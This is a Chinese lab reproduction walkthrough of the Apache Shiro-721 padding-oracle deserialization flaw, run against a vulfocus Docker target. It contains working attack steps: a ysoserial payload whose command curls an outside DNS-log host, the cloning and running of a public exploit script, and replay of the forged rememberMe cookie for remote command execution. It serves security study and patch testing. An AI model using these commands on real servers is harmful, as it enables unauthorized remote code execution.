0x00 漏洞描述
Padding Oracle
CBC
Padding Oracle Attack(填充提示攻击)
该漏洞存在条件如下:
0x01 影响版本
Apache Shiro <= 1.2.4
0x02 漏洞分析
0x03 漏洞环境
Centos 7
利用docker拉取在线靶场环境,执行如下命令:
docker pull vulfocus/shiro-cve_2016_4437
docker ps
docker run -itd -p 8080:8080 vulfocus/shiro-cve_2016_4437
服务启动后,访问:http://your-ip:8080
0x03 漏洞复现
1.登录Shiro测试账户获取合法Cookie(勾选Remember Me)
认证的两种情况:
①认证失败时(输入错误的用户名和密码),http响应页面中会显示出deleteMe的cookie。
②认证成功(输入正确的用户名和密码登录),http响应页面中不会显示deleteMe的cookie。
2.登录成功后,访问
http://your-ip:8080/account/
通过burp对其进行抓包,得到Cookie中的rememberMe值
3.使用Java反序列化工具ysoserial生成 Payload:
java -jar ysoserial.jar CommonsCollections1 'curl xxxdnlog.cn' > payload.class
4.通过git对其padding oracle attack poc进行下载
git clone https://github.com/wuppp/shiro_rce_exp.git
5.通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
注意:此exp爆破时间较长,建议使用ysoserial生成较短的payload 验证(如:ping、touch/tmp/test等),约1个多小时可生成正确的rememberme cookie,生成成功后将自动停止运行。
cp payload.class shiro_rce_exp/
cd shiro_rce_exp/
python shiro_exp.py http://192.168.1.14:8080/account/ HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77 payload.class
6.使用Evil Rememberme cookie 认证进行反序列化攻击
复制生成成功的cookie,然后重放一下数据,即可成功执行命令
0x04 漏洞修复
-
官网补丁。
-
更新版本。
内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。
原文始发于微信公众号(米瑞尔信息安全):Apache Shiro Padding Oracle Attack(Shiro-721)反序列化漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论